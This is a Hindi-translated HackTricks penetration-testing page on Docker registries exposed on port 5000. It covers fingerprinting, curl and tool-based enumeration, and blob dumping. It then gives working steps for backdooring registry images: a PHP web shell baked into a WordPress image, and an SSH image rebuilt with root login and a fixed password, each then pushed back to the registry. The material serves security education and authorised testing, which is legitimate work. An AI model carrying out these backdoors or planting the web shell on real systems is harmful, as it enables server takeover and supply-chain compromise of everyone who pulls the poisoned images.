mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
282 lines
21 KiB
Markdown
282 lines
21 KiB
Markdown
# 5000 - पेंटेस्टिंग डॉकर रजिस्ट्री
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
|
|
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में।**
|
|
|
|
</details>
|
|
|
|
## मूलभूत जानकारी
|
|
|
|
**यहां से जानकारी** [**यहां से**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.**
|
|
|
|
एक **डॉकर रजिस्ट्री** एक नामित डॉकर इमेज के लिए एक संग्रहण और वितरण प्रणाली है। एक ही इमेज के कई विभिन्न संस्करण हो सकते हैं, जिन्हें उनके टैग द्वारा पहचाना जाता है।\
|
|
एक डॉकर रजिस्ट्री को **डॉकर रेपोजिटरी** में व्यवस्थित किया जाता है, जहां एक रेपोजिटरी एक विशिष्ट इमेज के सभी संस्करणों को रखता है। रजिस्ट्री डॉकर उपयोगकर्ताओं को स्थानीय रूप से इमेज पुल करने और नई इमेजों को रजिस्ट्री में पुश करने की अनुमति देता है (जब यह उपयुक्त पहुंच अनुमतियाँ होती हैं)।
|
|
|
|
डिफ़ॉल्ट रूप से, डॉकर इंजन **DockerHub** , डॉकर के सार्वजनिक रजिस्ट्री इंस्टेंस के साथ संवाद करता है। हालांकि, खुदरा में चलाने की संभावना है खुला स्रोत डॉकर रजिस्ट्री/वितरण, साथ ही एक वाणिज्यिक रूप से समर्थित संस्करण भी है जिसे **Docker Trusted Registry** कहा जाता है। अन्य सार्वजनिक रजिस्ट्री ऑनलाइन उपलब्ध हैं।
|
|
|
|
एक ऑन-प्रेमिस रजिस्ट्री से एक इमेज पुल करने के लिए, आप एक ऐसे कमांड को चला सकते हैं जो इसके आस-पास हो सकता है:
|
|
```
|
|
docker pull my-registry:9000/foo/bar:2.1
|
|
```
|
|
यदि आप हमारे ऑन-प्रेमिस रजिस्ट्री पर स्थित `my-registry` डोमेन, पोर्ट `9000` से `foo/bar` इमेज के संस्करण `2.1` को पुल करते हैं, तो आप निम्नलिखित कमांड का उपयोग करके वही इमेज स्थानीय रूप से पुल कर सकते हैं:
|
|
```
|
|
docker pull foo/bar
|
|
```
|
|
**डिफ़ॉल्ट पोर्ट:** 5000
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
5000/tcp open http Docker Registry (API: 2.0)
|
|
```
|
|
## खोज
|
|
|
|
इस सेवा को खोजने का सबसे आसान तरीका है nmap के आउटपुट पर इसे प्राप्त करना। फिर भी, ध्यान दें कि यह एक HTTP आधारित सेवा हो सकती है और इसे HTTP प्रॉक्सी के पीछे हो सकती है और nmap इसे नहीं खोजेगा।\
|
|
कुछ fingerprints:
|
|
|
|
* यदि आप `/` तक पहुंचते हैं तो कोई प्रतिक्रिया नहीं दी जाती है
|
|
* यदि आप `/v2/` तक पहुंचते हैं तो `{}` लौटाया जाता है
|
|
* यदि आप `/v2/_catalog` तक पहुंचते हैं तो आप प्राप्त कर सकते हैं:
|
|
* `{"repositories":["alpine","ubuntu"]}`
|
|
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
|
|
|
## गणना
|
|
|
|
### HTTP/HTTPS
|
|
|
|
Docker रजिस्ट्री को **HTTP** या **HTTPS** का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। इसलिए पहली चीज जो आपको करनी होगी वह यह है कि **आपको पता लगाना होगा कि कौन सा** कॉन्फ़िगर किया जा रहा है:
|
|
```bash
|
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
|
#If HTTPS
|
|
Warning: Binary output can mess up your terminal. Use "--output -" to tell
|
|
Warning: curl to output it to your terminal anyway, or consider "--output
|
|
Warning: <FILE>" to save to a file.
|
|
|
|
#If HTTP
|
|
{"repositories":["alpine","ubuntu"]}
|
|
```
|
|
### प्रमाणीकरण
|
|
|
|
डॉकर रजिस्ट्री को **प्रमाणीकरण** की आवश्यकता हो सकती है:
|
|
```bash
|
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
|
#If Authentication required
|
|
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
|
|
#If no authentication required
|
|
{"repositories":["alpine","ubuntu"]}
|
|
```
|
|
यदि Docker रजिस्ट्री प्रमाणीकरण की आवश्यकता है, तो आप इसका ब्रूट फोर्स प्रयास कर सकते हैं [**इसका उपयोग करके**](../generic-methodologies-and-resources/brute-force.md#docker-registry)।\
|
|
**यदि आप मान्य प्रमाण पत्र मिलते हैं तो आपको उन्हें उपयोग करने की आवश्यकता होगी** रजिस्ट्री की गणना करने के लिए, `curl` में आप उन्हें इस तरह से उपयोग कर सकते हैं:
|
|
```bash
|
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
|
```
|
|
### DockerRegistryGrabber का उपयोग करके जांच
|
|
|
|
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) एक पायथन उपकरण है जिसका उपयोग डॉकर रजिस्ट्री की जांच / डंप करने के लिए किया जाता है (बिना या बेसिक प्रमाणीकरण के)
|
|
```bash
|
|
python3 DockerGraber.py http://127.0.0.1 --list
|
|
|
|
[+] my-ubuntu
|
|
[+] my-ubuntu2
|
|
|
|
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|
|
|
[+] my-ubuntu
|
|
[+] my-ubuntu2
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu2
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
|
|
|
|
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
|
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
```
|
|
### curl का उपयोग करके जांच करना
|
|
|
|
एक बार जब आपने डॉकर रजिस्ट्री तक पहुंच प्राप्त कर ली हो, तो आप इसे जांचने के लिए कुछ कमांड इस्तेमाल कर सकते हैं:
|
|
```bash
|
|
#List repositories
|
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
|
{"repositories":["alpine","ubuntu"]}
|
|
|
|
#Get tags of a repository
|
|
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
|
|
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
|
|
|
|
#Get manifests
|
|
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
|
|
{
|
|
"schemaVersion": 1,
|
|
"name": "ubuntu",
|
|
"tag": "latest",
|
|
"architecture": "amd64",
|
|
"fsLayers": [
|
|
{
|
|
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
|
|
},
|
|
{
|
|
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
|
|
},
|
|
{
|
|
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
|
|
}
|
|
],
|
|
"history": [
|
|
{
|
|
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
|
|
},
|
|
{
|
|
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
|
|
},
|
|
{
|
|
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
|
|
}
|
|
],
|
|
"signatures": [
|
|
{
|
|
"header": {
|
|
"jwk": {
|
|
"crv": "P-256",
|
|
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
|
|
"kty": "EC",
|
|
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
|
|
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
|
|
},
|
|
"alg": "ES256"
|
|
},
|
|
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
|
|
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
|
|
}
|
|
]
|
|
}
|
|
|
|
#Download one of the previously listed blobs
|
|
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
|
|
# हर ब्लॉब की अंदरूनी जांच करें
|
|
tar -xf blob1.tar # इसके बाद, मौजूदा निर्देशिका में नए फ़ोल्डर और फ़ाइलों की जांच करें
|
|
{% hint style="warning" %}
|
|
ध्यान दें कि जब आप ब्लॉब फ़ाइलें डाउनलोड और डीकंप्रेस करते हैं, तो मौजूदा निर्देशिका में फ़ाइलें और फ़ोल्डर दिखाई देंगे। **यदि आप सभी ब्लॉब डाउनलोड करते हैं और उन्हें एक ही फ़ोल्डर में डीकंप्रेस करते हैं, तो पहले से डीकंप्रेस किए गए ब्लॉब के मानों को अधिलेखित कर देंगे**, इसलिए सतर्क रहें। प्रत्येक ब्लॉब को अलग फ़ोल्डर में डीकंप्रेस करके प्रत्येक ब्लॉब की सटीक सामग्री की जांच करना रोचक हो सकता है।
|
|
{% endhint %}
|
|
|
|
### डॉकर का उपयोग करके जाँच करना
|
|
```bash
|
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
|
docker pull 10.10.10.10:5000/ubuntu
|
|
|
|
#Check the commands used to create the layers of the image
|
|
docker history 10.10.10.10:5000/ubuntu
|
|
#IMAGE CREATED CREATED BY SIZE COMMENT
|
|
#ed05bef01522 2 years ago ./run.sh 46.8MB
|
|
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
|
|
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
|
|
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
|
|
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
|
|
|
|
#Run and get a shell
|
|
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|
docker ps #Using a different shell
|
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
|
```
|
|
### WordPress इमेज में बैकडोरिंग
|
|
|
|
जब आपको एक डॉकर रजिस्ट्री मिलता है जो एक WordPress इमेज सहेज रहा है, तो आप इसे बैकडोर कर सकते हैं।\
|
|
**बैकडोर बनाएं**:
|
|
|
|
{% code title="shell.php" %}
|
|
```bash
|
|
<?php echo shell_exec($_GET["cmd"]); ?>
|
|
```
|
|
{% endcode %}
|
|
|
|
एक **Dockerfile** बनाएँ:
|
|
|
|
{% code title="Dockerfile" %}
|
|
```bash
|
|
FROM 10.10.10.10:5000/wordpress
|
|
COPY shell.php /app/
|
|
RUN chmod 777 /app/shell.php
|
|
```
|
|
{% endcode %}
|
|
|
|
**नया** इमेज बनाएं, इसे बनाएं और **पुश** करें:
|
|
```bash
|
|
docker build -t 10.10.10.10:5000/wordpress .
|
|
#Create
|
|
docker images
|
|
docker push registry:5000/wordpress #Push it
|
|
```
|
|
### SSH सर्वर इमेज में बैकडोरिंग करना
|
|
|
|
मान लें कि आपने एक डॉकर रजिस्ट्री में एक SSH इमेज ढूंढ़ी है और आप इसे बैकडोर करना चाहते हैं।\
|
|
इमेज को **डाउनलोड** करें और इसे **चलाएं**:
|
|
```bash
|
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
|
```
|
|
एसएसएच इमेज से `sshd_config` फ़ाइल निकालें:
|
|
```bash
|
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
|
```
|
|
और इसे सेट करने के लिए संशोधित करें: `PermitRootLogin yes`
|
|
|
|
निम्नलिखित एक जैसा **Dockerfile** बनाएँ:
|
|
|
|
{% tabs %}
|
|
{% tab title="Dockerfile" %}
|
|
```bash
|
|
FROM 10.10.10.10:5000/sshd-docker-cli
|
|
COPY sshd_config /etc/ssh/
|
|
RUN echo root:password | chpasswd
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
**नई** इमेज **बनाएं**, इसे **बनाएं** और **पुश** करें:
|
|
```bash
|
|
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
|
#Create
|
|
docker images
|
|
docker push registry:5000/sshd-docker-cli #Push it
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
|
|
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें**.
|
|
|
|
</details>
|